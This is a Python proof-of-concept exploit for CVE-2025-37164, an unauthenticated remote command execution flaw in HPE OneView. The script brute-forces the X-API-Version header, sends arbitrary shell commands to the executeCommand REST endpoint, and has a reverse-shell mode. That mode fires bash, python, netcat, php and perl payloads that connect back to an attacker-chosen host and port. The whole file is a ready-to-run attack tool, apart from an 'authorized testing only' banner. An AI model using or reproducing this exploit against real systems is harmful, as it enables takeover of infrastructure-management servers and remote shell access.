#!/usr/bin/env python3
"""
CVE-2025-37164 - HPE OneView Unauthenticated RCE PoC
Reference: https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis
Author: S 1 D E R
"""
import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from time import sleep
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()

def test_api_version(target_url, version):
    """Test a specific API version"""
    endpoint = "/rest/id-pools/executeCommand"
    full_url = urljoin(target_url, endpoint)
    
    headers = {
        "accept-language": "en_US",
        "X-API-Version": str(version),
        "Content-Type": "application/json"
    }
    
    payload = {"cmd": "echo TEST_$(whoami)", "result": 0}
    
    try:
        resp = requests.put(full_url, headers=headers, json=payload, 
                          verify=False, timeout=10)
        
        # Check for different responses
        if resp.status_code == 200:
            return version, resp, "VULNERABLE"
        elif "INVALID_API_VERSION" in resp.text:
            return version, resp, "INVALID_VERSION"
        elif resp.status_code == 404:
            return version, resp, "ENDPOINT_NOT_FOUND"
        elif resp.status_code == 401 or resp.status_code == 403:
            return version, resp, "AUTH_REQUIRED"
        else:
            return version, resp, f"STATUS_{resp.status_code}"
            
    except Exception as e:
        return version, None, f"ERROR: {str(e)}"

def brute_force_api_versions(target_url, start=1, end=1200, threads=20):
    """Brute force API versions to find the correct one"""
    print(f"[*] Brute-forcing API versions {start}-{end}...")
    print(f"[*] Using {threads} threads")
    
    working_versions = []
    
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {executor.submit(test_api_version, target_url, v): v 
                  for v in range(start, end + 1)}
        
        for future in as_completed(futures):
            version = futures[future]
            try:
                result = future.result()
                if result[2] == "VULNERABLE":
                    print(f"[+] FOUND VULNERABLE VERSION: {version}")
                    working_versions.append((version, result[1]))
                elif result[2] == "ENDPOINT_NOT_FOUND":
                    print(f"[-] Version {version}: Endpoint not found (patched?)")
                    break  # Stop if endpoint disappears
                    
                # Progress indicator
                if version % 100 == 0:
                    print(f"[*] Tested through version {version}")
                    
            except Exception as e:
                continue
    
    return working_versions

def smart_exploit(target_url, command, api_version=None):
    """Smart exploitation with API version detection"""
    if not api_version:
        print("[*] No API version specified, attempting detection...")
        
        # First try common versions
        common_versions = [800, 900, 1000, 1100, 1200, 600, 700, 500]
        
        for version in common_versions:
            endpoint = "/rest/id-pools/executeCommand"
            full_url = urljoin(target_url, endpoint)
            
            headers = {
                "accept-language": "en_US",
                "X-API-Version": str(version),
                "Content-Type": "application/json"
            }
            
            test_payload = {"cmd": "echo PROBE_TEST", "result": 0}
            
            try:
                resp = requests.put(full_url, headers=headers, 
                                  json=test_payload, verify=False, timeout=10)
                
                if resp.status_code == 200:
                    print(f"[+] Detected working API version: {version}")
                    api_version = version
                    break
                elif "INVALID_API_VERSION" in resp.text:
                    # Extract suggested range if possible
                    if "values" in resp.text and "through" in resp.text:
                        print(f"[*] Version {version} rejected: {resp.text}")
                elif resp.status_code == 404:
                    print(f"[-] Endpoint not found with version {version}")
                    
            except Exception as e:
                continue
        
        if not api_version:
            print("[-] Could not auto-detect API version")
            print("[*] Starting brute force...")
            working = brute_force_api_versions(target_url)
            if working:
                api_version = working[0][0]
            else:
                print("[-] No working API versions found")
                return None
    
    # Now execute the actual command
    endpoint = "/rest/id-pools/executeCommand"
    full_url = urljoin(target_url, endpoint)
    
    headers = {
        "accept-language": "en_US",
        "X-API-Version": str(api_version),
        "Content-Type": "application/json"
    }
    
    payload = {"cmd": command, "result": 0}
    
    print(f"[*] Executing with API version: {api_version}")
    print(f"[*] Target: {full_url}")
    print(f"[*] Command: {command}")
    
    try:
        resp = requests.put(full_url, headers=headers, json=payload, 
                          verify=False, timeout=15)
        return resp
    except Exception as e:
        print(f"[-] Request failed: {e}")
        return None

def detect_version_range(target_url):
    """Detect valid API version range"""
    print("[*] Detecting API version range...")
    
    test_versions = [1, 100, 500, 1000, 1200, 2000, 3800]
    
    for version in test_versions:
        endpoint = "/rest/id-pools/executeCommand"
        full_url = urljoin(target_url, endpoint)
        
        headers = {
            "accept-language": "en_US",
            "X-API-Version": str(version),
            "Content-Type": "application/json"
        }
        
        test_payload = {"cmd": "echo RANGE_TEST", "result": 0}
        
        try:
            resp = requests.put(full_url, headers=headers, 
                              json=test_payload, verify=False, timeout=10)
            
            if "invalid X-API-Version header" in resp.text:
                # Parse the error message
                import re
                match = re.search(r'values (\d+) through (\d+)', resp.text)
                if match:
                    min_ver, max_ver = match.groups()
                    print(f"[+] Detected valid range: {min_ver} through {max_ver}")
                    return int(min_ver), int(max_ver)
                else:
                    print(f"[*] Version {version}: {resp.text}")
                    
        except Exception as e:
            continue
    
    print("[-] Could not detect version range, using default 1-1200")
    return 1, 1200

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-37164 - Enhanced with API brute force")
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("-c", "--command", help="Command to execute")
    parser.add_argument("-v", "--version", type=int, help="Specific API version")
    parser.add_argument("--brute", action="store_true", help="Brute force API versions")
    parser.add_argument("--detect", action="store_true", help="Detect version range only")
    parser.add_argument("--lhost", help="Reverse shell host")
    parser.add_argument("--lport", type=int, help="Reverse shell port")
    parser.add_argument("--threads", type=int, default=20, help="Threads for brute force")
    
    args = parser.parse_args()
    
    print("""
    ╔═══════════════════════════════════════════╗
    ║ CVE-2025-37164 - HPE OneView RCE PoC      ║
    ║ S 1 D E R  //  For Authorized Testing Only║
    ╚═══════════════════════════════════════════╝
    """)
    
    if args.detect:
        min_v, max_v = detect_version_range(args.target)
        print(f"[*] Suggested brute force range: {min_v}-{max_v}")
        
    elif args.brute:
        min_v, max_v = detect_version_range(args.target)
        working = brute_force_api_versions(args.target, min_v, max_v, args.threads)
        
        if working:
            print(f"\n[+] Found {len(working)} working API versions:")
            for version, response in working:
                print(f"    Version {version}: {response.status_code}")
                
            api_version = working[0][0]
            resp = smart_exploit(args.target, "echo SUCCESS_TEST", api_version)
            if resp and resp.status_code == 200:
                print("[!] SYSTEM IS VULNERABLE!")
        else:
            print("[-] No vulnerable API versions found")
            
    elif args.command:
        resp = smart_exploit(args.target, args.command, args.version)
        if resp:
            print(f"\n[*] Response Status: {resp.status_code}")
            if resp.headers.get('Content-Type', '').startswith('application/json'):
                try:
                    data = resp.json()
                    print(f"[*] Response JSON:\n{json.dumps(data, indent=2)}")
                except:
                    print(f"[*] Response Text: {resp.text}")
            else:
                print(f"[*] Response: {resp.text}")
                
    elif args.lhost and args.lport:
        print("[*] Reverse shell mode - detecting API version first...")
        
        min_v, max_v = detect_version_range(args.target)
        working = brute_force_api_versions(args.target, min_v, max_v, args.threads)
        
        if working:
            api_version = working[0][0]
            
            payloads = [
                f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'",
                f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{args.lhost}\",{args.lport}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'",
                f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.lhost} {args.lport} >/tmp/f",
                f"php -r '$sock=fsockopen(\"{args.lhost}\",{args.lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
                f"perl -e 'use Socket;$i=\"{args.lhost}\";$p={args.lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'"
            ]
            
            print(f"[+] Using API version: {api_version}")
            print(f"[+] Starting reverse shell attempts to {args.lhost}:{args.lport}")
            print("[*] Start your listener: nc -lvnp {args.lport}")
            
            for i, payload in enumerate(payloads):
                print(f"\n[*] Trying payload {i+1}...")
                resp = smart_exploit(args.target, payload, api_version)
                if resp and resp.status_code == 200:
                    print(f"[+] Payload {i+1} delivered successfully!")
                    print("[+] Check your listener for shell...")
                    sleep(5)
                else:
                    print(f"[-] Payload {i+1} failed")
                    
        else:
            print("[-] Could not find working API version for reverse shell")
            
    else:
        # Default: detect and test
        min_v, max_v = detect_version_range(args.target)
        print(f"[*] Valid API range: {min_v} through {max_v}")
        
        # Quick test with middle value
        test_version = (min_v + max_v) // 2
        print(f"[*] Testing with version {test_version}...")
        
        resp = smart_exploit(args.target, "echo QUICK_TEST_$(id)", test_version)
        if resp and resp.status_code == 200:
            print("[!] SYSTEM APPEARS VULNERABLE!")
            try:
                data = resp.json()
                print(f"[+] Response: {json.dumps(data, indent=2)}")
            except:
                print(f"[+] Response: {resp.text}")
        else:
            print("[-] Quick test failed, try --brute for full scan")

if __name__ == "__main__":
    main()